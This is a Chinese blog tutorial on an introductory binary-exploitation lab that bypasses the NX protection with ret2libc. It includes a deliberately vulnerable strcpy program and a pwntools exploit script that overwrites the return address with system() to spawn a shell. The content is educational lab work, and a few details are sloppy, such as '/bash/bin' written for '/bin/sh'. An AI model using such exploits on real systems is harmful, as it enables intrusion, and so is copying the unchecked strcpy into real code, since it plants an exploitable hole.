pwn入门实验2:缓冲区溢出(NX机制及绕过策略-ret2libc)

前言

溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

本次实验基于pwm入门实验1的延伸:https://www.cnblogs.com/luocodes/p/13901471.html
 

源码:

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

 

开启NX编译程序:

gcc -m32 -g -ggdb -fno-stack-protector -no-pie 1.c -o task2

这里没有加上z execstack,默认即开启NX

 

简单探索NX机制

使用实验1的exp发现程序崩溃(非法内存访问异常)

 

报错的原因是我们开启了NX导致的,为什么开启NX就不能执行上个实验的EXP呢?

首先我们对比task1和task2的进程内存映射 (task1为上个实验编译的程序)

运行task1,找到task1的PID,查看task1的进程内存映射

 

 

 

 

 

 

 r=read, w=write, x=execute, s=shared, p=private

使用同样的方法,我们查看task的进程内存映射

 

我们观察两个程序的的进程内存映射的栈区(stack)

发现task1是没有开启NX保护的,所以他是可执行的,而task2开启了NX保护,少了一个x的权限即不可执行

问题总结:因为开启了NX保护,而我们把shellcode放到了栈中,所以执行上一个实验的exp程序报错了,因为这时候的栈不可执行

 

ret2libc(return to libc)

原理:通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。

一般情况下,我们会选择执行system("/bin/sh"),在不存在ASLR(地址随机化)的情况下,可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。

 

这时候我们不能return2shellcode和jmp esp了,因为开启NX,现在的栈是不可执行的。

当函数调用栈没有执行权限时,就不能执行我们自己写入的shellcode,那就利用程序里或系统里的函数,libc动态链接库中通常就有需要的函数,如system()。

 

比如我们要利用libc里的system函数,这时候就要获取4个信息:

1.程序所对应的libc版本

2.libc在程序中的基址

3.system函数在libc中的地址(即程序当中偏移地址)

4./bash/bin函数在libc中的地址(即程序当中偏移地址)

 

程序所对应的libc版本获取:

gdb-peda$ info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf7fd2100  0xf7fef7f3  Yes (*)     /lib/ld-linux.so.2
0xf7de61d0  0xf7f3f71a  Yes (*)     /lib/i386-linux-gnu/libc.so.6#这里是程序的libc的版本
(*): Shared library is missing debugging information.

 

libc在程序中的基址获取:

root@luo-virtual-machine:~/pwm# LD_TRACE_LOADED_OBJECTS=1 ./task2
    linux-gate.so.1 (0xf7fd0000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000)#这里为libc在程序的的基址
    /lib/ld-linux.so.2 (0xf7fd1000)

 

system函数在libc中的地址的获取

使用IDA pro打开对应的libc,在方法窗口中搜索system即可得到system的地址(右键函数地址选择Text View)

 

 

/bash/bin函数在libc中的地址的获取:

在IDA PRO中使用快捷键SHIFT+F12,填出Strings Window窗口

CTRL+F搜索/bin/sh

 

 

我们得到了需要的参数那么开始编写EXP:

from pwn import *
#context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./task2')
io.recvuntil("shellcode:") 
libc_base_addr=0xf7dc9000 #libc在程序当中的基址
payload="a"*76            #实验1得知到溢出的偏移为76
payload+=p32(libc_base_addr+0x00045830)  #system在程序当中的地址(这里用system的地址覆盖了程序原来的返回地址)
payload+=p32(0xdeadbeef)                 #填充(这里是system的返回地址,)
payload+=p32(libc_base_addr+0x00192352)  #/bash/bin在程序当中的地址 (当做这里是传入system的参数:/bash/bin)
io.send(payload)
io.interactive()

 

“DEADBEEF”(0xDEADBEEF)是什么?遇到将返回地址覆写为 0xdeadbeef 的用意?

在该系统中,已分配但还未初始化的内存中用该数字来填充,使得程序员在调试时可以很容易地定位到目标内存区域。

 

运行脚本成功进入到shell

 

参考:https://www.jianshu.com/p/c90530c910b0

 

posted @ 2020-11-01 17:14  LuoSpider  阅读(1048)  评论(0编辑  收藏  举报